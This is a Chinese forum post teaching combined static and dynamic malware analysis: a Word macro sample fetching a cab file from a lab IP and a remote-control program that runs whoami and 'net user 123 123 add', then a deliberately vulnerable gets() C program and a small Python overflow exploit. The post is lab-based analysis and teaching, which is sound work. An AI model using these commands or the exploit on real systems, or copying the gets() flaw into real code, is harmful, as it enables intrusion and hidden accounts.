本帖最后由 梦幻的彼岸 于 2022-2-7 12:46 编辑
今天学习的内容是动静结合分析病毒,若有不当之处希望伙伴们可以指出,让我们共同完善,共同进步
注意:文章内容只是分享自身的知识储备,只是自身的理解,不一定准确,希望观看的时候只是参考,思维不要被其所局限。
开始进入正文:
实战讲解根据之前所学的静态、动态分析技术,结合起来分析测试样本 word宏病毒表层- 打开途中连接外部地址下载文件
- 打开word文档后,发现计算器程序被打开(这里代表恶意行为)
监控- 网络监控
分析:
发起程序-WINWORD.EXE *64位
请求地址-http://192.168.86.144/
响应服务-python3的SimpleHTTPServer模块开启的web服务
请求文件-1
2
| http://192.168.86.144/word.cab
解析:cab是windows的压缩格式,我这边使用7-z提取
|
- 行为监控
寻找打开word文件主程序
任务管理器:
与网络监控到发起程序相同
进程树查看执行流程:
分析:1
2
3
| 正常:就是打开一个word文档
可疑:调用了控制面板程序control.exe
并通过控制面板执行临时文件夹下名为msword.inf配置文件,之后通过运行cmd程序打开计算器程序calc.exe(这里代指恶意程序)
|
本身- 7-z查看word文档
- 找到了是如何访问可疑地址的方式
结合之前网络分析访问此地址后跳转下载可疑文件
下载的文件远控病毒已运行- 测试机,定位到的可疑进程
1
2
3
4
| 在模块列表看到了RPCRT4.DLL
文件描述:远程程序调用运行时
在explorer.exe进程树下
判断:可疑模块,一般情况程序有远程需求才会加载,当前测试机无已知远程,test.exe加载了此模块不正常,并且因此进程在explorer.exe进程树下判断为用户启动
|
- 攻击机已控制测试机
- 进程树
找到可疑程序位置,运行并监控,查看进程树
1
2
3
4
| test下调用了某些程序
ipconfig.exe:(运行了如下命令:ipconfig,行为解析查询当前IP)
whoami.exe:(运行了如下命令:whoami,行为解析显示已登录的用户信息)
net.exe:(运行了如下命令:net user 123 123 add,行为解析创建账号行为 )
| 到此可判断test.exe执行了恶意行为 - 网络溯源
1
2
| 频繁外联此IP:192.168.86.114
初步判断为攻击者使用的IP
|
定位分析找到程序,载入分析工具分析
- VirtualAlloc函数
- ExitProcess函数
1
| Windows API函数,用于结束调用进程及其所有线程。
|
- 关键函数
此call会调用syscall发送网络数据到攻击机
1
2
3
4
5
6
7
8
| 关键call:00007FF8054B2A59 | 48:FF15 301F0500 | call qword ptr ds:[<&NtDeviceIoControlF |
进入call:
00007FF8086CCEF0 | 4C:8BD1 | mov r10,rcx |
00007FF8086CCEF3 | B8 07000000 | mov eax,7 |
00007FF8086CCEF8 | F60425 0803FE7F 01 | test byte ptr ds:[7FFE0308],1 |
00007FF8086CCF00 | 75 03 | jne ntdll.7FF8086CCF05 |
00007FF8086CCF02 | 0F05 | syscall |
NtDeviceIoControlFile函数解析:为提供的缓冲区构建描述符,并将非类型化数据传递给与文件句柄关联的设备驱动程序。
|
Linux病毒查杀网络相关利用程序溢出漏洞未方便理解模拟了一个攻击程序根据一个存在溢出漏洞程序进行攻击的过程。
简单分析攻击程序利用思路与溢出漏洞产生原因 源码分析存在缓冲区漏洞程序源码:备注:根据STACK1_VS_2017.cpp修改
工具链:Mingw 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| #include <stdlib.h>
#include <stdio.h>
#include "Windows.h"
int main(int argc, char **argv) {
MessageBoxA((HWND)-0, (LPCSTR) "检测程序是否正常运行\n", (LPCSTR)"功能", (UINT)0);
int cookie;
char buf[2];
int *a = &cookie;
char *b = buf;
printf("buf: %08x cookie: %08x\n", b, a);
u_int64 p =(u_int64)a-(u_int64)b;
printf("程序正常运行,存在缓存区溢出漏洞,其中两变量内存地址之差=%d:\n注意:若超过此值则缓冲区溢出\n",p);
gets(buf);
if (cookie == 0x41424344)
printf("缓冲区溢出,已被成功利用此漏洞,隐藏信息已显示,请排查\n");
}
|
根据源码看到若gets函数获取的数据为**DCBA(*通配符,例如:11DCBA,字符串DCBA的16进制为44434241,因堆栈数据读写顺序为先进后出故真正调用时为ABCD),则证明利用了此程序的缓冲区溢出漏洞并显示了隐藏信息(根据代码逻辑,程序正常运行不满足显示此隐藏信息的条件)
缓冲区漏洞成因:buf申请的缓冲区大小为2,并且用gets获取导致未对缓冲区进行保护,若获取的数据超过2则溢出。 利用程序代码1
2
3
4
5
6
7
8
9
10
11
| import sys
from subprocess import Popen, PIPE
payload = b"A" * 2 + b"\x44\x43\x42\x41"
p1 = Popen(r"C:\Users\用户名\Desktop\test\cmake-build-debug\test.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()
|
效果:缓冲区溢出成功,并输入特定代码读取了隐藏信息
监控:
procexp64
Procmon64
定位到利用脚本test.py 反汇编分析运行到模块值为:test.exe
入口断点断下,未看到泄露信息相关内容,字符串搜索快速定位漏洞函数代码块
备注:编译器为了使可执行程序正常工作和启动,增加了很多代码。故第一次入口函数断点往往不会断到main函数
反编译对照:
MapoAnalyzer
Snowman
跟踪分析:
在输入字符串时,在堆栈窗口看到两变量对应的地址紧挨着
根据反编译结果分析输入的字符串的是对应buf变量的值,但现在cookie对应也有值,分析数据溢出,导致cookie对应的地址有值并且为输入数值减两位即DCBA,如下图所示:
1
2
3
4
5
| 00000000004015E1 | 8B45 E4 | mov eax,dword ptr ss:[rbp-1C] |
00000000004015E4 | 3D 44434241 | cmp eax,41424344 |
00000000004015E9 | 75 0C | jne test.4015F7 |
00000000004015EB | 48:8D0D A67A0000 | lea rcx,qword ptr ds:[409098] | 0000000000409098:"缓冲区溢出,已被成功利用此漏洞,隐藏信息已显示,请排查\n"
00000000004015F2 | E8 49630000 | call <test.begin of _Z6printfPKcz> |
|
可以看到输入的字符串已满足条件,跳转不成功,导致隐藏信息被调取
扩展分析:
gets函数 1
| 网络资料:gets 可以无限读取,不会判断上限,也就是说,gets 函数并不检查缓冲区 buffer 的空间大小,事实上它也无法检查缓冲区的空间。
|
结合分析因程序使用gets函数获取输入数据导致存在溢出漏洞,其中此程序根据此隐患隐藏了特定字符。 参考资料- 《STACK1_VS_2017.cpp》
- 《gets和fgets函数及其区别,C语言gets和fgets函数详解》
|